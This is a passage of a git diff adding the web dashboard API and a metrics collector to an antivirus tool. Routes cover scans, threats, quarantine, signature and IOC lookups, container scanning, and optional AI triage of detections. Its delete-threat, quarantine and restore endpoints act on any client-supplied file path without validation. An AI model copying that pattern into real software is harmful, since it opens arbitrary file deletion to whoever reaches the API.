aiohttp app.""" + app.router.add_get("/api/health", handle_health) + app.router.add_get("/api/status", handle_status) + app.router.add_get("/api/threats", handle_threats) + app.router.add_get("/api/threat-stats", handle_threat_stats) + app.router.add_get("/api/scans", handle_scans) + app.router.add_get("/api/scan-chart", handle_scan_chart) + app.router.add_get("/api/quarantine", handle_quarantine) + app.router.add_get("/api/signatures", handle_signatures) + app.router.add_get("/api/sig-updates", handle_sig_updates) + app.router.add_get("/api/definitions", handle_definitions) + app.router.add_get("/api/logs", handle_logs) + app.router.add_get("/api/metrics-history", handle_metrics_history) + # Action endpoints + app.router.add_post("/api/actions/quick-scan", handle_action_quick_scan) + app.router.add_post("/api/actions/full-scan", handle_action_full_scan) + app.router.add_post("/api/actions/update-sigs", handle_action_update_sigs) + app.router.add_post("/api/actions/update-feed", handle_action_update_feed) + # Threat action endpoints + app.router.add_post("/api/actions/quarantine", handle_action_quarantine) + app.router.add_post("/api/actions/delete-threat", handle_action_delete_threat) + app.router.add_post("/api/actions/whitelist", handle_action_whitelist) + app.router.add_post("/api/actions/restore", handle_action_restore) + app.router.add_post("/api/actions/ai-analyze", handle_action_ai_analyze) + # Container endpoints + app.router.add_get("/api/containers", handle_containers) + app.router.add_get("/api/container-scan", handle_container_scan_results) + app.router.add_post("/api/actions/scan-containers", handle_action_scan_containers) + app.router.add_post("/api/actions/scan-container", handle_action_scan_single_container) + + +# ------------------------------------------------------------------ +# Helpers +# ------------------------------------------------------------------ + +def _json(data: object, status: int = 200) -> web.Response: + return web.json_response(data, status=status) + + +def _get_ai_analyzer(app): + """Lazy-init the AI analyzer singleton on the app.""" + if "_ai_analyzer" not in app: + from ayn_antivirus.detectors.ai_analyzer import AIAnalyzer + import os + key = os.environ.get("ANTHROPIC_API_KEY", "") + app["_ai_analyzer"] = AIAnalyzer(api_key=key) if key else None + return app.get("_ai_analyzer") + + +def _ai_filter_threats(app, store, threats_data: list) -> list: + """Run AI analysis on detections. Returns only real threats.""" + ai = _get_ai_analyzer(app) + if not ai or not ai.available: + return threats_data # No AI — pass all through + + filtered = [] + for t in threats_data: + verdict = ai.analyze( + file_path=t["file_path"], + threat_name=t["threat_name"], + threat_type=t["threat_type"], + severity=t["severity"], + detector=t["detector"], + confidence=t.get("confidence", 50), + ) + t["ai_verdict"] = verdict.verdict + t["ai_confidence"] = verdict.confidence + t["ai_reason"] = verdict.reason + t["ai_action"] = verdict.recommended_action + + if verdict.is_safe: + store.log_activity( + f"AI dismissed: {t['file_path']} ({t['threat_name']}) — {verdict.reason}", + "INFO", "ai_analyzer", + ) + continue # Skip false positive + + filtered.append(t) + + dismissed = len(threats_data) - len(filtered) + if dismissed: + store.log_activity( + f"AI filtered {dismissed}/{len(threats_data)} false positives", + "INFO", "ai_analyzer", + ) + return filtered + + +def _auto_quarantine(store, vault, file_path: str, threat_name: str, severity: str) -> str: + """Quarantine a file automatically. Returns quarantine ID or empty string.""" + if not vault: + return "" + import os + if not os.path.isfile(file_path): + return "" + try: + qid = vault.quarantine_file( + file_path=file_path, + threat_name=threat_name, + threat_type="auto", + severity=severity, + ) + store.log_activity( + f"Auto-quarantined: {file_path} ({threat_name})", + "WARNING", "quarantine", + ) + return qid + except Exception as exc: + logger.warning("Auto-quarantine failed for %s: %s", file_path, exc) + return "" + + +def _safe_int( + val: str, default: int, min_val: int = 1, max_val: int = 1000, +) -> int: + """Parse an integer query param with clamping and fallback.""" + try: + n = int(val) + return max(min_val, min(n, max_val)) + except (ValueError, TypeError): + return default + + +def _threat_type_str(tt: object) -> str: + """Convert a ThreatType enum (or anything) to a string.""" + return tt.name if hasattr(tt, "name") else str(tt) + + +def _severity_str(sev: object) -> str: + """Convert a Severity enum (or anything) to a string.""" + return sev.name if hasattr(sev, "name") else str(sev) + + +# ------------------------------------------------------------------ +# Read-only endpoints +# ------------------------------------------------------------------ + +async def handle_health(request: web.Request) -> web.Response: + """GET /api/health - System health metrics (live snapshot).""" + collector = request.app["collector"] + snapshot = await asyncio.to_thread(collector.get_snapshot) + return _json(snapshot) + + +async def handle_status(request: web.Request) -> web.Response: + """GET /api/status - Protection status overview.""" + store = request.app["store"] + + def _get() -> dict: + threat_stats = store.get_threat_stats() + scans = store.get_recent_scans(1) + sig_stats = store.get_sig_stats() + latest_metrics = store.get_latest_metrics() + + quarantine_count = 0 + try: + vault = request.app.get("vault") + if vault: + quarantine_count = vault.count() + except Exception: + pass + + try: + import psutil + uptime_secs = int(time.time() - psutil.boot_time()) + except Exception: + uptime_secs = 0 + + last_scan = scans[0] if scans else None + + return { + "hostname": platform.node(), + "os": f"{platform.system()} {platform.release()}", + "arch": platform.machine(), + "uptime_seconds": uptime_secs, + "protection_active": True, + "last_scan": last_scan, + "threats": threat_stats, + "signatures": sig_stats, + "quarantine_count": quarantine_count, + "metrics": latest_metrics, + "server_time": datetime.utcnow().strftime("%Y-%m-%d %H:%M:%S"), + } + + data = await asyncio.to_thread(_get) + return _json(data) + + +async def handle_threats(request: web.Request) -> web.Response: + """GET /api/threats?limit=50 - Recent threats list.""" + store = request.app["store"] + limit = _safe_int(request.query.get("limit", "50"), 50, max_val=500) + threats = await asyncio.to_thread(store.get_recent_threats, limit) + return _json({"threats": threats, "count": len(threats)}) + + +async def handle_threat_stats(request: web.Request) -> web.Response: + """GET /api/threat-stats - Threat statistics.""" + store = request.app["store"] + stats = await asyncio.to_thread(store.get_threat_stats) + return _json(stats) + + +async def handle_scans(request: web.Request) -> web.Response: + """GET /api/scans?limit=30 - Recent scan history.""" + store = request.app["store"] + limit = _safe_int(request.query.get("limit", "30"), 30, max_val=500) + scans = await asyncio.to_thread(store.get_recent_scans, limit) + return _json({"scans": scans, "count": len(scans)}) + + +async def handle_scan_chart(request: web.Request) -> web.Response: + """GET /api/scan-chart?days=30 - Scan history chart data.""" + store = request.app["store"] + days = _safe_int(request.query.get("days", "30"), 30, max_val=365) + data = await asyncio.to_thread(store.get_scan_chart_data, days) + return _json({"chart": data}) + + +async def handle_quarantine(request: web.Request) -> web.Response: + """GET /api/quarantine - Quarantine vault status.""" + vault = request.app.get("vault") + if not vault: + return _json({"count": 0, "items": [], "total_size": 0}) + + def _get() -> dict: + items = vault.list_quarantined() + total_size = sum( + item.get("file_size", 0) or item.get("size", 0) for item in items + ) + return {"count": len(items), "items": items[:20], "total_size": total_size} + + data = await asyncio.to_thread(_get) + return _json(data) + + +async def handle_signatures(request: web.Request) -> web.Response: + """GET /api/signatures - Signature database stats.""" + store = request.app["store"] + + def _get() -> dict: + sig_stats = store.get_sig_stats() + config = request.app.get("config") + if config: + try: + from ayn_antivirus.signatures.db.hash_db import HashDatabase + from ayn_antivirus.signatures.db.ioc_db import IOCDatabase + + hdb = HashDatabase(config.db_path) + hdb.initialize() + idb = IOCDatabase(config.db_path) + idb.initialize() + + sig_stats["db_hash_count"] = hdb.count() + sig_stats["db_hash_stats"] = hdb.get_stats() + sig_stats["db_ioc_stats"] = idb.get_stats() + sig_stats["db_malicious_ips"] = len(idb.get_all_malicious_ips()) + sig_stats["db_malicious_domains"] = len( + idb.get_all_malicious_domains() + ) + hdb.close() + idb.close() + except Exception as exc: + sig_stats["db_error"] = str(exc) + return sig_stats + + data = await asyncio.to_thread(_get) + return _json(data) + + +async def handle_sig_updates(request: web.Request) -> web.Response: + """GET /api/sig-updates?limit=20 - Recent signature update history.""" + store = request.app["store"] + limit = _safe_int(request.query.get("limit", "20"), 20, max_val=200) + updates = await asyncio.to_thread(store.get_recent_sig_updates, limit) + return _json({"updates": updates, "count": len(updates)}) + + +async def handle_definitions(request: web.Request) -> web.Response: + """GET /api/definitions - Full virus definition database view. + + Supports pagination (``page``, ``per_page``), search (``search``), + and type filtering (``type=hash|ip|domain|url``). + """ + store = request.app["store"] + config = request.app.get("config") + page = _safe_int(request.query.get("page", "1"), 1, max_val=10000) + per_page = _safe_int(request.query.get("per_page", "100"), 100, max_val=500) + search = request.query.get("search", "").strip() + filter_type = request.query.get("type", "").strip() + + def _get() -> dict: + result: dict = { + "hashes": [], + "ips": [], + "domains": [], + "urls": [], + "total_hashes": 0, + "total_ips": 0, + "total_domains": 0, + "total_urls": 0, + "page": page, + "per_page": per_page, + "feeds": [], + "last_update": None, + } + + if not config: + return result + + try: + from ayn_antivirus.signatures.db.hash_db import HashDatabase + from ayn_antivirus.signatures.db.ioc_db import IOCDatabase + + hdb = HashDatabase(config.db_path) + hdb.initialize() + idb = IOCDatabase(config.db_path) + idb.initialize() + + offset = (page - 1) * per_page + conn = hdb.conn + + # Hash definitions + if not filter_type or filter_type == "hash": + if search: + rows = conn.execute( + "SELECT hash, threat_name, threat_type, severity, source, " + "added_date, details FROM threats " + "WHERE threat_name LIKE ? " + "ORDER BY added_date DESC LIMIT ? OFFSET ?", + (f"%{search}%", per_page, offset), + ).fetchall() + else: + rows = conn.execute( + "SELECT hash, threat_name, threat_type, severity, source, " + "added_date, details FROM threats " + "ORDER BY added_date DESC LIMIT ? OFFSET ?", + (per_page, offset), + ).fetchall() + result["hashes"] = [dict(r) for r in rows] + result["total_hashes"] = hdb.count() + + # IP definitions + ioc_conn = idb.conn + if not filter_type or filter_type == "ip": + if search: + rows = ioc_conn.execute( + "SELECT ip, threat_name, type, source, added_date " + "FROM ioc_ips " + "WHERE ip LIKE ? OR threat_name LIKE ? " + "ORDER BY added_date DESC LIMIT ? OFFSET ?", + (f"%{search}%", f"%{search}%", per_page, offset), + ).fetchall() + else: + rows = ioc_conn.execute( + "SELECT ip, threat_name, type, source, added_date " + "FROM ioc_ips " + "ORDER BY added_date DESC LIMIT ? OFFSET ?", + (per_page, offset), + ).fetchall() + result["ips"] = [dict(r) for r in rows] + result["total_ips"] = ioc_conn.execute( + "SELECT COUNT(*) FROM ioc_ips" + ).fetchone()[0] + + # Domain definitions + if not filter_type or filter_type == "domain": + if search: + rows = ioc_conn.execute( + "SELECT domain, threat_name, type, source, added_date " + "FROM ioc_domains " + "WHERE domain LIKE ? OR threat_name LIKE ? " + "ORDER BY added_date DESC LIMIT ? OFFSET ?", + (f"%{search}%", f"%{search}%", per_page, offset), + ).fetchall() + else: + rows = ioc_conn.execute( + "SELECT domain, threat_name, type, source, added_date " + "FROM ioc_domains " + "ORDER BY added_date DESC LIMIT ? OFFSET ?", + (per_page, offset), + ).fetchall() + result["domains"] = [dict(r) for r in rows] + result["total_domains"] = ioc_conn.execute( + "SELECT COUNT(*) FROM ioc_domains" + ).fetchone()[0] + + # URL definitions + if not filter_type or filter_type == "url": + if search: + rows = ioc_conn.execute( + "SELECT url, threat_name, type, source, added_date " + "FROM ioc_urls " + "WHERE url LIKE ? OR threat_name LIKE ? " + "ORDER BY added_date DESC LIMIT ? OFFSET ?", + (f"%{search}%", f"%{search}%", per_page, offset), + ).fetchall() + else: + rows = ioc_conn.execute( + "SELECT url, threat_name, type, source, added_date " + "FROM ioc_urls " + "ORDER BY added_date DESC LIMIT ? OFFSET ?", + (per_page, offset), + ).fetchall() + result["urls"] = [dict(r) for r in rows] + result["total_urls"] = ioc_conn.execute( + "SELECT COUNT(*) FROM ioc_urls" + ).fetchone()[0] + + # Feed info + sig_updates = store.get_recent_sig_updates(20) + result["feeds"] = sig_updates + result["last_update"] = ( + sig_updates[0]["timestamp"] if sig_updates else None + ) + + hdb.close() + idb.close() + except Exception as exc: + result["error"] = str(exc) + logger.error("Error fetching definitions: %s", exc) + + return result + + data = await asyncio.to_thread(_get) + return _json(data) + + +async def handle_logs(request: web.Request) -> web.Response: + """GET /api/logs?limit=20 - Recent activity logs.""" + store = request.app["store"] + limit = _safe_int(request.query.get("limit", "20"), 20, max_val=500) + logs = await asyncio.to_thread(store.get_recent_logs, limit) + return _json({"logs": logs, "count": len(logs)}) + + +async def handle_metrics_history(request: web.Request) -> web.Response: + """GET /api/metrics-history?hours=1 - Metrics time series.""" + store = request.app["store"] + hours = _safe_int(request.query.get("hours", "1"), 1, max_val=168) + data = await asyncio.to_thread(store.get_metrics_history, hours) + return _json({"metrics": data, "count": len(data)}) + + +# ------------------------------------------------------------------ +# Action handlers (trigger scans / updates) +# ------------------------------------------------------------------ + +async def handle_action_quick_scan(request: web.Request) -> web.Response: + """POST /api/actions/quick-scan - Trigger a quick scan.""" + store = request.app["store"] + store.log_activity("Quick scan triggered from dashboard", "INFO", "dashboard") + + def _run() -> dict: + from ayn_antivirus.config import Config + from ayn_antivirus.core.engine import ScanEngine + + config = request.app.get("config") or Config() + engine = ScanEngine(config) + result = engine.quick_scan() + + store.record_scan( + scan_type="quick", + scan_path=",".join(config.scan_paths), + files_scanned=result.files_scanned, + files_skipped=result.files_skipped, + threats_found=len(result.threats), + duration=result.duration_seconds, + ) + + # Build detection list for AI analysis + raw_threats = [] + for t in result.threats: + raw_threats.append({ + "file_path": t.path, + "threat_name": t.threat_name, + "threat_type": _threat_type_str(t.threat_type), + "severity": _severity_str(t.severity), + "detector": t.detector_name, + "file_hash": t.file_hash or "", + "confidence": getattr(t, "confidence", 50), + }) + + # AI filters out false positives + verified = _ai_filter_threats(request.app, store, raw_threats) + + vault = request.app.get("vault") + quarantined = 0 + for t in verified: + ai_action = t.get("ai_action", "quarantine") + sev = t["severity"] + qid = "" + if ai_action in ("quarantine", "delete"): + qid = _auto_quarantine(store, vault, t["file_path"], t["threat_name"], sev) + action = "quarantined" if qid else ("monitoring" if ai_action == "monitor" else "detected") + details = t.get("ai_reason", "") + store.record_threat( + file_path=t["file_path"], + threat_name=t["threat_name"], + threat_type=t["threat_type"], + severity=sev, + detector=t["detector"], + file_hash=t.get("file_hash", ""), + action=action, + details=f"[AI: {t.get('ai_verdict','?')} {t.get('ai_confidence',0)}%] {details}", + ) + if qid: + quarantined += 1 + + return { + "status": "completed", + "files_scanned": result.files_scanned, + "threats_found": len(verified), + "ai_dismissed": len(result.threats) - len(verified), + "quarantined": quarantined, + } + + try: + data = await asyncio.to_thread(_run) + return _json(data) + except Exception as exc: + logger.error("Quick scan failed: %s", exc) + store.log_activity(f"Quick scan failed: {exc}", "ERROR", "dashboard") + return _json({"status": "error", "error": str(exc)}, 500) + + +async def handle_action_full_scan(request: web.Request) -> web.Response: + """POST /api/actions/full-scan - Trigger a full scan.""" + store = request.app["store"] + store.log_activity("Full scan triggered from dashboard", "INFO", "dashboard") + + def _run() -> dict: + from ayn_antivirus.config import Config + from ayn_antivirus.core.engine import ScanEngine + + config = request.app.get("config") or Config() + engine = ScanEngine(config) + result = engine.full_scan() + + file_result = result.file_scan + store.record_scan( + scan_type="full", + scan_path=",".join(config.scan_paths), + files_scanned=file_result.files_scanned, + files_skipped=file_result.files_skipped, + threats_found=len(file_result.threats), + duration=file_result.duration_seconds, + ) + + raw_threats = [] + for t in file_result.threats: + raw_threats.append({ + "file_path": t.path, + "threat_name": t.threat_name, + "threat_type": _threat_type_str(t.threat_type), + "severity": _severity_str(t.severity), + "detector": t.detector_name, + "file_hash": t.file_hash or "", + "confidence": getattr(t, "confidence", 50), + }) + + verified = _ai_filter_threats(request.app, store, raw_threats) + + vault = request.app.get("vault") + quarantined = 0 + for t in verified: + ai_action = t.get("ai_action", "quarantine") + sev = t["severity"] + qid = "" + if ai_action in ("quarantine", "delete"): + qid = _auto_quarantine(store, vault, t["file_path"], t["threat_name"], sev) + action = "quarantined" if qid else ("monitoring" if ai_action == "monitor" else "detected") + details = t.get("ai_reason", "") + store.record_threat( + file_path=t["file_path"], + threat_name=t["threat_name"], + threat_type=t["threat_type"], + severity=sev, + detector=t["detector"], + file_hash=t.get("file_hash", ""), + action=action, + details=f"[AI: {t.get('ai_verdict','?')} {t.get('ai_confidence',0)}%] {details}", + ) + if qid: + quarantined += 1 + + return { + "status": "completed", + "total_threats": result.total_threats, + "ai_verified": len(verified), + "ai_dismissed": len(raw_threats) - len(verified), + "quarantined": quarantined, + } + + try: + data = await asyncio.to_thread(_run) + return _json(data) + except Exception as exc: + logger.error("Full scan failed: %s", exc) + store.log_activity(f"Full scan failed: {exc}", "ERROR", "dashboard") + return _json({"status": "error", "error": str(exc)}, 500) + + +async def handle_action_update_sigs(request: web.Request) -> web.Response: + """POST /api/actions/update-sigs - Update all threat signature feeds.""" + store = request.app["store"] + store.log_activity( + "Signature update triggered from dashboard", "INFO", "dashboard" + ) + + def _run() -> dict: + from ayn_antivirus.config import Config + from ayn_antivirus.signatures.manager import SignatureManager + + config = request.app.get("config") or Config() + manager = SignatureManager(config) + summary = manager.update_all() + + # summary = {"feeds": {name: stats}, "total_new": int, "errors": [...]} + for feed_name, feed_result in summary["feeds"].items(): + if "error" in feed_result: + store.record_sig_update( + feed_name=feed_name, + status="error", + details=feed_result.get("error", ""), + ) + else: + store.record_sig_update( + feed_name=feed_name, + hashes=feed_result.get("hashes", 0), + ips=feed_result.get("ips", 0), + domains=feed_result.get("domains", 0), + urls=feed_result.get("urls", 0), + status="success", + details=json.dumps(feed_result), + ) + + manager.close() + + store.log_activity( + f"Signature update completed: {len(summary['feeds'])} feeds, " + f"{summary['total_new']} new entries", + "INFO", + "signatures", + ) + return { + "status": "completed", + "feeds_updated": len(summary["feeds"]) - len(summary["errors"]), + "total_new": summary["total_new"], + "errors": summary["errors"], + } + + try: + data = await asyncio.to_thread(_run) + return _json(data) + except Exception as exc: + logger.error("Signature update failed: %s", exc) + store.log_activity( + f"Signature update failed: {exc}", "ERROR", "signatures" + ) + return _json({"status": "error", "error": str(exc)}, 500) + + +async def handle_action_update_feed(request: web.Request) -> web.Response: + """POST /api/actions/update-feed - Update a single feed. + + Body: ``{"feed": "malwarebazaar"}`` + """ + store = request.app["store"] + + try: + body = await request.json() + feed_name = body.get("feed", "") + except Exception: + return _json({"error": "Invalid JSON body"}, 400) + + if not feed_name: + return _json({"error": "Missing 'feed' parameter"}, 400) + + store.log_activity( + f"Single feed update triggered: {feed_name}", "INFO", "dashboard" + ) + + def _run() -> dict: + from ayn_antivirus.config import Config + from ayn_antivirus.signatures.manager import SignatureManager + + config = request.app.get("config") or Config() + manager = SignatureManager(config) + result = manager.update_feed(feed_name) + + store.record_sig_update( + feed_name=feed_name, + hashes=result.get("hashes", 0), + ips=result.get("ips", 0), + domains=result.get("domains", 0), + urls=result.get("urls", 0), + status="success", + details=json.dumps(result), + ) + + manager.close() + return {"status": "completed", "feed": feed_name, "result": result} + + try: + data = await asyncio.to_thread(_run) + return _json(data) + except KeyError as exc: + return _json({"status": "error", "error": str(exc)}, 404) + except Exception as exc: + logger.error("Feed update failed for %s: %s", feed_name, exc) + return _json({"status": "error", "error": str(exc)}, 500) + + +# ------------------------------------------------------------------ +# Threat action handlers (quarantine / delete / whitelist) +# ------------------------------------------------------------------ + +async def handle_action_quarantine(request: web.Request) -> web.Response: + """POST /api/actions/quarantine — Move a file to encrypted quarantine vault. + + Body: ``{"file_path": "/path/to/file", "threat_id": 5}`` + """ + store = request.app["store"] + vault = request.app.get("vault") + if not vault: + return _json({"status": "error", "error": "Quarantine vault not available"}, 500) + + try: + body = await request.json() + file_path = body.get("file_path", "").strip() + threat_id = body.get("threat_id") + threat_name = body.get("threat_name", "Unknown") + except Exception: + return _json({"error": "Invalid JSON body"}, 400) + + if not file_path: + return _json({"error": "Missing 'file_path'"}, 400) + + def _run() -> dict: + import os + if not os.path.exists(file_path): + return {"status": "error", "error": f"File not found: {file_path}"} + + qid = vault.quarantine_file( + file_path=file_path, + threat_name=threat_name, + threat_type="detected", + severity="HIGH", + ) + + if threat_id: + store.conn.execute( + "UPDATE threat_log SET action_taken='quarantined' WHERE id=?", + (threat_id,), + ) + store.conn.commit() + + store.log_activity( + f"Quarantined: {file_path} ({threat_name}) -> {qid}", + "WARNING", "quarantine", + ) + return {"status": "ok", "quarantine_id": qid, "file_path": file_path} + + try: + data = await asyncio.to_thread(_run) + return _json(data, 200 if data.get("status") == "ok" else 400) + except Exception as exc: + logger.error("Quarantine failed: %s", exc) + return _json({"status": "error", "error": str(exc)}, 500) + + +async def handle_action_delete_threat(request: web.Request) -> web.Response: + """POST /api/actions/delete-threat — Permanently delete a malicious file. + + Body: ``{"file_path": "/path/to/file", "threat_id": 5}`` + """ + store = request.app["store"] + + try: + body = await request.json() + file_path = body.get("file_path", "").strip() + threat_id = body.get("threat_id") + except Exception: + return _json({"error": "Invalid JSON body"}, 400) + + if not file_path: + return _json({"error": "Missing 'file_path'"}, 400) + + def _run() -> dict: + import os + if not os.path.exists(file_path): + if threat_id: + store.conn.execute( + "UPDATE threat_log SET action_taken='deleted' WHERE id=?", + (threat_id,), + ) + store.conn.commit() + return {"status": "ok", "message": "File already gone", "file_path": file_path} + + os.remove(file_path) + + if threat_id: + store.conn.execute( + "UPDATE threat_log SET action_taken='deleted' WHERE id=?", + (threat_id,), + ) + store.conn.commit() + + store.log_activity( + f"Deleted threat file: {file_path}", "WARNING", "action", + ) + return {"status": "ok", "file_path": file_path} + + try: + data = await asyncio.to_thread(_run) + return _json(data) + except Exception as exc: + logger.error("Delete failed: %s", exc) + return _json({"status": "error", "error": str(exc)}, 500) + + +async def handle_action_whitelist(request: web.Request) -> web.Response: + """POST /api/actions/whitelist — Mark a threat as false positive. + + Body: ``{"threat_id": 5}`` + """ + store = request.app["store"] + + try: + body = await request.json() + threat_id = body.get("threat_id") + except Exception: + return _json({"error": "Invalid JSON body"}, 400) + + if not threat_id: + return _json({"error": "Missing 'threat_id'"}, 400) + + def _run() -> dict: + row = store.conn.execute( + "SELECT file_path, threat_name, file_hash FROM threat_log WHERE id=?", + (threat_id,), + ).fetchone() + if not row: + return {"status": "error", "error": "Threat not found"} + + store.conn.execute( + "UPDATE threat_log SET action_taken='whitelisted' WHERE id=?", + (threat_id,), + ) + store.conn.commit() + + store.log_activity( + f"Whitelisted: {row['file_path']} ({row['threat_name']})", + "INFO", "action", + ) + return {"status": "ok", "threat_id": threat_id} + + try: + data = await asyncio.to_thread(_run) + return _json(data, 200 if data.get("status") == "ok" else 400) + except Exception as exc: + logger.error("Whitelist failed: %s", exc) + return _json({"status": "error", "error": str(exc)}, 500) + + +async def handle_action_ai_analyze(request: web.Request) -> web.Response: + """POST /api/actions/ai-analyze — Run AI analysis on a specific threat. + + Body: ``{"threat_id": 5}`` + """ + store = request.app["store"] + try: + body = await request.json() + threat_id = body.get("threat_id") + except Exception: + return _json({"error": "Invalid JSON body"}, 400) + + if not threat_id: + return _json({"error": "Missing 'threat_id'"}, 400) + + def _run() -> dict: + row = store.conn.execute( + "SELECT * FROM threat_log WHERE id=?", (threat_id,), + ).fetchone() + if not row: + return {"status": "error", "error": "Threat not found"} + + ai = _get_ai_analyzer(request.app) + if not ai or not ai.available: + return {"status": "error", "error": "AI not configured. Set ANTHROPIC_API_KEY."} + + r = dict(row) + verdict = ai.analyze( + file_path=r["file_path"], + threat_name=r["threat_name"], + threat_type=r["threat_type"], + severity=r["severity"], + detector=r["detector"], + ) + + store.conn.execute( + "UPDATE threat_log SET details=? WHERE id=?", + (f"[AI: {verdict.verdict} {verdict.confidence}%] {verdict.reason}", threat_id), + ) + store.conn.commit() + + store.log_activity( + f"AI analyzed #{threat_id}: {verdict.verdict} — {verdict.reason}", + "INFO", "ai_analyzer", + ) + return { + "status": "ok", + "verdict": verdict.verdict, + "confidence": verdict.confidence, + "reason": verdict.reason, + "recommended_action": verdict.recommended_action, + } + + try: + data = await asyncio.to_thread(_run) + return _json(data, 200 if data.get("status") == "ok" else 400) + except Exception as exc: + logger.error("AI analysis failed: %s", exc) + return _json({"status": "error", "error": str(exc)}, 500) + + +async def handle_action_restore(request: web.Request) -> web.Response: + """POST /api/actions/restore — Restore a quarantined file. + + Body: ``{"file_path": "/original/path", "threat_id": 5}`` + """ + store = request.app["store"] + vault = request.app.get("vault") + if not vault: + return _json({"status": "error", "error": "Vault not available"}, 500) + + try: + body = await request.json() + file_path = body.get("file_path", "").strip() + threat_id = body.get("threat_id") + except Exception: + return _json({"error": "Invalid JSON body"}, 400) + + if not file_path: + return _json({"error": "Missing 'file_path'"}, 400) + + def _run() -> dict: + items = vault.list_quarantined() + qid = None + for item in items: + if item.get("original_path") == file_path: + qid = item.get("id") + break + if not qid: + return {"status": "error", "error": f"No quarantine entry for {file_path}"} + + vault.restore_file(qid) + + if threat_id: + store.conn.execute( + "UPDATE threat_log SET action_taken='restored' WHERE id=?", + (threat_id,), + ) + store.conn.commit() + + store.log_activity( + f"Restored from quarantine: {file_path}", "WARNING", "quarantine", + ) + return {"status": "ok", "file_path": file_path} + + try: + data = await asyncio.to_thread(_run) + return _json(data, 200 if data.get("status") == "ok" else 400) + except Exception as exc: + logger.error("Restore failed: %s", exc) + return _json({"status": "error", "error": str(exc)}, 500) + + +# ------------------------------------------------------------------ +# Container endpoints +# ------------------------------------------------------------------ + +async def handle_containers(request: web.Request) -> web.Response: + """GET /api/containers - List all containers across runtimes.""" + + def _get() -> dict: + from ayn_antivirus.scanners.container_scanner import ContainerScanner + + scanner = ContainerScanner() + containers = scanner.list_containers( + runtime="all", include_stopped=True, + ) + return { + "containers": [c.to_dict() for c in containers], + "count": len(containers), + "runtimes": scanner.available_runtimes, + } + + data = await asyncio.to_thread(_get) + return _json(data) + + +async def handle_container_scan_results(request: web.Request) -> web.Response: + """GET /api/container-scan - Recent container scan results from store.""" + store = request.app["store"] + + def _get() -> dict: + scans = store.conn.execute( + "SELECT * FROM scan_history " + "WHERE scan_type LIKE 'container%' " + "ORDER BY id DESC LIMIT 10", + ).fetchall() + threats = store.conn.execute( + "SELECT * FROM threat_log WHERE " + "LOWER(threat_type) IN ('miner','misconfiguration','rootkit') " + "OR LOWER(detector) = 'container_scanner' " + "ORDER BY id DESC LIMIT 50", + ).fetchall() + return { + "scans": [dict(r) for r in scans], + "threats": [dict(t) for t in threats], + } + + data = await asyncio.to_thread(_get) + return _json(data) + + +async def handle_action_scan_containers(request: web.Request) -> web.Response: + """POST /api/actions/scan-containers - Scan all containers.""" + store = request.app["store"] + store.log_activity( + "Container scan triggered from dashboard", "INFO", "dashboard", + ) + + def _run() -> dict: + from ayn_antivirus.scanners.container_scanner import ContainerScanner + + scanner = ContainerScanner() + result = scanner.scan("all") + + store.record_scan( + scan_type="container-full", + scan_path="all-containers", + files_scanned=result.containers_scanned, + files_skipped=0, + threats_found=len(result.threats), + duration=result.duration_seconds, + status=( + "completed" + if not result.errors + else "completed_with_errors" + ), + ) + + for t in result.threats: + store.record_threat( + file_path=t.file_path or f"container:{t.container_name}", + threat_name=t.threat_name, + threat_type=t.threat_type, + severity=t.severity, + detector="container_scanner", + file_hash="", + action="detected", + details=f"[{t.runtime}] {t.container_name}: {t.details}", + ) + + store.log_activity( + f"Container scan complete: {result.containers_found} found, " + f"{result.containers_scanned} scanned, " + f"{len(result.threats)} threats", + "INFO", + "container_scanner", + ) + return result.to_dict() + + try: + data = await asyncio.to_thread(_run) + return _json(data) + except Exception as exc: + logger.error("Container scan failed: %s", exc) + store.log_activity( + f"Container scan failed: {exc}", "ERROR", "container_scanner", + ) + return _json({"status": "error", "error": str(exc)}, 500) + + +async def handle_action_scan_single_container( + request: web.Request, +) -> web.Response: + """POST /api/actions/scan-container - Scan a single container. + + Body: ``{"container_id": "abc123"}`` + """ + store = request.app["store"] + + try: + body = await request.json() + container_id = body.get("container_id", "") + except Exception: + return _json({"error": "Invalid JSON body"}, 400) + + if not container_id: + return _json({"error": "Missing 'container_id'"}, 400) + + store.log_activity( + f"Single container scan: {container_id}", "INFO", "dashboard", + ) + + def _run() -> dict: + from ayn_antivirus.scanners.container_scanner import ContainerScanner + + scanner = ContainerScanner() + result = scanner.scan_container(container_id) + + store.record_scan( + scan_type="container-single", + scan_path=container_id, + files_scanned=result.containers_scanned, + files_skipped=0, + threats_found=len(result.threats), + duration=result.duration_seconds, + ) + + for t in result.threats: + store.record_threat( + file_path=t.file_path or f"container:{t.container_name}", + threat_name=t.threat_name, + threat_type=t.threat_type, + severity=t.severity, + detector="container_scanner", + details=f"[{t.runtime}] {t.container_name}: {t.details}", + ) + + return result.to_dict() + + try: + data = await asyncio.to_thread(_run) + return _json(data) + except Exception as exc: + logger.error("Container scan failed for %s: %s", container_id, exc) + return _json({"status": "error", "error": str(exc)}, 500) diff --git a/ayn-antivirus/ayn_antivirus/dashboard/collector.py b/ayn-antivirus/ayn_antivirus/dashboard/collector.py new file mode 100644 index 0000000..eea1da0 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/dashboard/collector.py @@ -0,0 +1,181 @@ +"""Background metrics collector for the AYN Antivirus dashboard.""" + +from __future__ import annotations + +import asyncio +import logging +import os +import random +from datetime import datetime +from typing import Any, Dict, Optional + +import psutil + +from ayn_antivirus.constants import DASHBOARD_COLLECTOR_INTERVAL + +logger = logging.getLogger("ayn_antivirus.dashboard.collector") + + +class MetricsCollector: + """Periodically sample system metrics and store them in the dashboard DB. + + Parameters + ---------- + store: + A :class:`DashboardStore` instance to write metrics into. + interval: + Seconds between samples. + """ + + def __init__(self, store: Any, interval: int = DASHBOARD_COLLECTOR_INTERVAL) -> None: + self.store = store + self.interval = interval + self._task: Optional[asyncio.Task] = None + self._running = False + + async def start(self) -> None: + """Begin collecting metrics on a background asyncio task.""" + self._running = True + self._task = asyncio.create_task(self._collect_loop()) + logger.info("Metrics collector started (interval=%ds)", self.interval) + + async def stop(self) -> None: + """Cancel the background task and wait for it to finish.""" + self._running = False + if self._task: + self._task.cancel() + try: + await self._task + except asyncio.CancelledError: + pass + logger.info("Metrics collector stopped") + + # ------------------------------------------------------------------ + # Internal loop + # ------------------------------------------------------------------ + + async def _collect_loop(self) -> None: + while self._running: + try: + await asyncio.to_thread(self._sample) + except Exception as exc: + logger.error("Collector error: %s", exc) + await asyncio.sleep(self.interval) + + def _sample(self) -> None: + """Take a single metric snapshot and persist it.""" + cpu = psutil.cpu_percent(interval=1) + mem 